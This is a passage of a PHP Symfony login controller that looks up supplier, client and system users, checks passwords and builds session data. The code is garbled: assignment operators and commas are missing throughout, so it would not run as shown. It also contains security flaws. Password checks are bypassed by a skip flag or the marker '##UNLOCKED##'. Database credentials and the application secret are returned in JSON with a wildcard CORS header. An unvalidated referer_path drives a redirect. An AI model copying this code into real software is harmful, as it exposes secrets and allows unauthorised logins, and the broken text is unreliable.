  4419.                                             'page_title' => "Login",
  4420.                                             'gocList' => $gocDataList,
  4421.                                             'gocId' => $gocId
  4422.                                         ));
  4423.                                 }
  4424.                             }
  4425.                         }
  4426.                         $jd = [];
  4427.                         if ($jd != null && $jd != '' && $jd != [])
  4428.                             $company_id_list $jd;
  4429.                         else
  4430.                             $company_id_list = [];
  4431. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4432. //                        foreach ($company_id_list as $c) {
  4433. //                            $company_name_list[$c] = $companyList[$c]['name'];
  4434. //                            $company_image_list[$c] = $companyList[$c]['image'];
  4435. //                        }
  4436.                     };
  4437.                 } else {
  4438.                     if ($cookieLogin == 1) {
  4439.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4440.                             array(
  4441.                                 'userId' => $userId
  4442.                             )
  4443.                         );
  4444.                     } else if ($encrypedLogin == 1) {
  4445.                         if (in_array($userType, [34]))
  4446.                             $specialLogin 1;
  4447.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4448.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4449.                                 array(
  4450.                                     'globalUserId' => $globalId
  4451.                                 )
  4452.                             );
  4453. //
  4454.                             if ($user)
  4455.                                 $userId $user->getClientId();
  4456.                             $clientId $userId;
  4457.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4458.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  4459.                                 array(
  4460.                                     'globalUserId' => $globalId
  4461.                                 )
  4462.                             );
  4463. //
  4464.                             if ($user)
  4465.                                 $userId $user->getSupplierId();
  4466.                             $supplierId $userId;
  4467.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  4468. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  4469. //                                array(
  4470. //                                    'globalId' => $globalId
  4471. //                                )
  4472. //                            );
  4473. //
  4474. //                            if($user)
  4475. //                                $userId=$user->getUserId();
  4476. //                            $applicantId = $userId;
  4477.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  4478.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4479.                                 array(
  4480.                                     'globalId' => $globalId
  4481.                                 )
  4482.                             );
  4483.                             if ($user)
  4484.                                 $userId $user->getUserId();
  4485.                         }
  4486.                     } else {
  4487.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4488.                             array(
  4489.                                 'userName' => $request->request->get('username')
  4490.                             )
  4491.                         );
  4492.                     }
  4493.                     if (!$user) {
  4494.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4495.                             array(
  4496.                                 'email' => $request->request->get('username'),
  4497.                                 'userName' => [null'']
  4498.                             )
  4499.                         );
  4500.                         if (!$user) {
  4501.                             $message "Wrong User Name";
  4502.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4503.                                 return new JsonResponse(array(
  4504.                                     'uid' => $session->get(UserConstants::USER_ID),
  4505.                                     'session' => $session,
  4506.                                     'success' => false,
  4507.                                     'errorStr' => $message,
  4508.                                     'session_data' => [],
  4509.                                 ));
  4510.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4511.                                 //                    return $response;
  4512.                             }
  4513.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4514.                                 "message" => $message,
  4515.                                 'page_title' => "Login",
  4516.                                 'gocList' => $gocDataList,
  4517.                                 'gocId' => $gocId
  4518.                             ));
  4519.                         } else {
  4520.                             //add the email as username as failsafe
  4521.                             $user->setUserName($request->request->get('username'));
  4522.                             $em->flush();
  4523.                         }
  4524.                     }
  4525.                     if ($user) {
  4526.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  4527.                             $message "Sorry, Your Account is Deactivated";
  4528.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  4529.                                 return new JsonResponse(array(
  4530.                                     'uid' => $session->get(UserConstants::USER_ID),
  4531.                                     'session' => $session,
  4532.                                     'success' => false,
  4533.                                     'errorStr' => $message,
  4534.                                     'session_data' => [],
  4535.                                 ));
  4536.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4537.                                 //                    return $response;
  4538.                             }
  4539.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4540.                                 "message" => $message,
  4541.                                 'page_title' => "Login",
  4542.                                 'gocList' => $gocDataList,
  4543.                                 'gocId' => $gocId
  4544.                             ));
  4545.                         }
  4546.                     }
  4547.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4548.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4549.                         $message "Wrong Email/Password";
  4550.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4551.                             return new JsonResponse(array(
  4552.                                 'uid' => $session->get(UserConstants::USER_ID),
  4553.                                 'session' => $session,
  4554.                                 'success' => false,
  4555.                                 'errorStr' => $message,
  4556.                                 'session_data' => [],
  4557.                             ));
  4558.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4559.                             //                    return $response;
  4560.                         }
  4561.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4562.                             "message" => $message,
  4563.                             'page_title' => "Login",
  4564.                             'gocList' => $gocDataList,
  4565.                             'gocId' => $gocId
  4566.                         ));
  4567.                     }
  4568.                     $userType $user->getUserType();
  4569.                     $jd json_decode($user->getUserCompanyIdList(), true);
  4570.                     if ($jd != null && $jd != '' && $jd != [])
  4571.                         $company_id_list $jd;
  4572.                     else
  4573.                         $company_id_list = [$user->getUserCompanyId()];
  4574.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4575.                     foreach ($company_id_list as $c) {
  4576.                         if (isset($companyList[$c])) {
  4577.                             $company_name_list[$c] = $companyList[$c]['name'];
  4578.                             $company_image_list[$c] = $companyList[$c]['image'];
  4579.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  4580.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  4581.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  4582.                         }
  4583.                     }
  4584.                 }
  4585. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  4586.                 if ($remember_me == 1)
  4587.                     $session->set('REMEMBERME'1);
  4588.                 else
  4589.                     $session->set('REMEMBERME'0);
  4590.                 $config = array(
  4591.                     'firstLogin' => $firstLogin,
  4592.                     'rememberMe' => $remember_me,
  4593.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4594.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  4595.                     'applicationSecret' => $this->container->getParameter('secret'),
  4596.                     'gocId' => $gocId,
  4597.                     'appId' => $appIdFromUserName,
  4598.                     'gocDbName' => $gocDbName,
  4599.                     'gocDbUser' => $gocDbUser,
  4600.                     'gocDbHost' => $gocDbHost,
  4601.                     'gocDbPass' => $gocDbPass
  4602.                 );
  4603.                 $product_name_display_type 0;
  4604.                 if ($systemType != '_CENTRAL_') {
  4605.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  4606.                         'name' => 'product_name_display_method'
  4607.                     ));
  4608.                     if ($product_name_display_settings)
  4609.                         $product_name_display_type $product_name_display_settings->getData();
  4610.                 }
  4611.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4612.                     $userCompanyId 1;
  4613.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4614.                     if (isset($companyList[$userCompanyId])) {
  4615.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4616.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4617.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4618.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4619.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4620.                     }
  4621.                     // General User
  4622.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  4623.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4624.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  4625.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  4626.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4627.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4628.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  4629.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4630.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4631.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4632.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4633.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4634.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4635.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4636.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4637.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4638.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4639.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4640.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4641.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4642.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4643.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4644.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4645.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4646.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4647.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4648.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4649.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4650.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4651.                     //                $PL=json_decode($user->getPositionIds(), true);
  4652.                     $route_list_array = [];
  4653.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4654.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4655.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4656.                     $loginID 0;
  4657.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4658.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4659.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4660.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4661.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4662.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4663.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4664.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4665.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4666.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4667.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4668.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4669.                         $session->set('remoteVerified'1);
  4670.                         $session_data = array(
  4671.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4672.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4673.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4674.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4675.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4676.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4677.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4678.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4679.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4680.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4681.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4682.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4683.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4684.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4685.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4686.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4687.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4688.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4689.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4690.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4691.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4692.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4693.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4694.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4695.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4696.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4697.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4698.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4699.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4700.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4701.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4702.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4703.                     );
  4704.                     $session_data $this->filterClientSessionData($session_data);
  4705.                     $response = new JsonResponse(array(
  4706.                             'uid' => $session->get(UserConstants::USER_ID),
  4707.                             'session' => $session,
  4708.                             'success' => true,
  4709.                             'session_data' => $session_data,
  4710.                         ));
  4711.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4712.                         return $response;
  4713.                     }
  4714.                     if ($request->request->has('referer_path')) {
  4715.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4716.                             return $this->redirect($request->request->get('referer_path'));
  4717.                         }
  4718.                     }
  4719.                     //                    if($request->request->has('gocId')
  4720.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4721.                     return $this->redirectToRoute("supplier_dashboard");
  4722.                     //                    else
  4723.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4724.                 }
  4725.                 if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4726.                     // General User
  4727.                     $userCompanyId 1;
  4728.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4729.                     if (isset($companyList[$userCompanyId])) {
  4730.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4731.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4732.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4733.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4734.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4735.                     }
  4736.                     $session->set(UserConstants::USER_ID$user->getClientId());
  4737.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4738.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  4739.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  4740.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4741.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4742.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  4743.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4744.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4745.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4746.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4747.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4748.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4749.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4750.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4751.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4752.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4753.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4754.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4755.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4756.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4757.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4758.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4759.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4760.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4761.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4762.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4763.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4764.                     //                $PL=json_decode($user->getPositionIds(), true);
  4765.                     $route_list_array = [];
  4766.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4767.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4768.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4769.                     $loginID 0;
  4770.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4771.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4772.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4773.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4774.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4775.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4776.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4777.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4778.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4779.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4780.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4781.                     $session_data = array(
  4782.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4783.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4784.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4785.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4786.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4787.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4788.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4789.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4790.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4791.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4792.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4793.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4794.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4795.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4796.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4797.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4798.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4799.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4800.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4801.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4802.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4803.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4804.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4805.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4806.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4807.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4808.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4809.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4810.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4811.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4812.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4813.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4814.                     );
  4815.                     $session_data $this->filterClientSessionData($session_data);
  4816.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4817.                     $session_data $tokenData['sessionData'];
  4818.                     $token $tokenData['token'];
  4819.                     $session->set('token'$token);
  4820.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4821.                         $session->set('remoteVerified'1);
  4822.                         $response = new JsonResponse(array(
  4823.                             'uid' => $session->get(UserConstants::USER_ID),
  4824.                             'session' => $session,
  4825.                             'token' => $token,
  4826.                             'success' => true,
  4827.                             'session_data' => $session_data,
  4828.                         ));
  4829.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4830.                         return $response;
  4831.                     }
  4832.                     if ($request->request->has('referer_path')) {
  4833.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4834.                             return $this->redirect($request->request->get('referer_path'));
  4835.                         }
  4836.                     }
  4837.                     //                    if($request->request->has('gocId')
  4838.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4839.                     return $this->redirectToRoute("client_dashboard"); //will be client
  4840.                     //                    else
  4841.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4842.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  4843.                     // System administrator
  4844.                     // System administrator have successfully logged in. Lets add a login ID.
  4845.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4846.                         ->findOneBy(
  4847.                             array(
  4848.                                 'userId' => $user->getUserId()
  4849.                             )
  4850.                         );
  4851.                     if ($employeeObj) {
  4852.                         $employeeId $employeeObj->getEmployeeId();
  4853.                         $epositionId $employeeObj->getPositionId();
  4854.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  4855.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  4856.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  4857.                     }
  4858.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  4859.                         ->findOneBy(
  4860.                             array(
  4861.                                 'userId' => $user->getUserId(),
  4862.                                 'workingStatus' => 1
  4863.                             )
  4864.                         );
  4865.                     if ($currentTask) {
  4866.                         $currentTaskId $currentTask->getId();
  4867.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  4868.                     }
  4869.                     $userId $user->getUserId();
  4870.                     $userCompanyId 1;
  4871.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  4872.                     $userEmail $user->getEmail();
  4873.                     $userImage $user->getImage();
  4874.                     $userFullName $user->getName();
  4875.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  4876.                     $position_list_array json_decode($user->getPositionIds(), true);
  4877.                     if ($position_list_array == null$position_list_array = [];
  4878.                     $filtered_pos_array = [];
  4879.                     foreach ($position_list_array as $defPos)
  4880.                         if ($defPos != '' && $defPos != 0)
  4881.                             $filtered_pos_array[] = $defPos;
  4882.                     $position_list_array $filtered_pos_array;
  4883.                     if (!empty($position_list_array))
  4884.                         foreach ($position_list_array as $defPos)
  4885.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  4886.                                 $curr_position_id $defPos;
  4887.                             }
  4888.                     $userDefaultRoute $user->getDefaultRoute();
  4889. //                    $userDefaultRoute = 'MATHA';
  4890.                     $allModuleAccessFlag 1;
  4891.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  4892.                         $userDefaultRoute '';
  4893. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  4894.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4895.                     if (isset($companyList[$userCompanyId])) {
  4896.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4897.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4898.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4899.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4900.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4901.                     }
  4902.                     if ($allModuleAccessFlag == 1)
  4903.                         $prohibit_list_array = [];
  4904.                     else if ($curr_position_id != 0)
  4905.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  4906.                     $loginID $this->get('user_module')->addUserLoginLog(
  4907.                         $userId,
  4908.                         $request->server->get("REMOTE_ADDR"),
  4909.                         $curr_position_id
  4910.                     );
  4911.                     $appIdList json_decode($user->getUserAppIdList());
  4912.                     $branchIdList json_decode($user->getUserBranchIdList());
  4913.                     if ($branchIdList == null$branchIdList = [];
  4914.                     $branchId $user->getUserBranchId();
  4915.                     if ($appIdList == null$appIdList = [];
  4916. //
  4917. //                    if (!in_array($user->getUserAppId(), $appIdList))
  4918. //                        $appIdList[] = $user->getUserAppId();
  4919. //
  4920. //                    foreach ($appIdList as $currAppId) {
  4921. //                        if ($currAppId == $user->getUserAppId()) {
  4922. //
  4923. //                            foreach ($company_id_list as $index_company => $company_id) {
  4924. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  4925. //                                $app_company_index = $currAppId . '_' . $company_id;
  4926. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  4927. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  4928. //                            }
  4929. //                        } else {
  4930. //
  4931. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  4932. //                                $this->getDoctrine()->getManager('company_group'),
  4933. //                                $gocEnabled,
  4934. //                                $currAppId
  4935. //                            );
  4936. //                            if (!empty($dataToConnect)) {
  4937. //                                $connector = $this->container->get('application_connector');
  4938. //                                $connector->resetConnection(
  4939. //                                    'default',
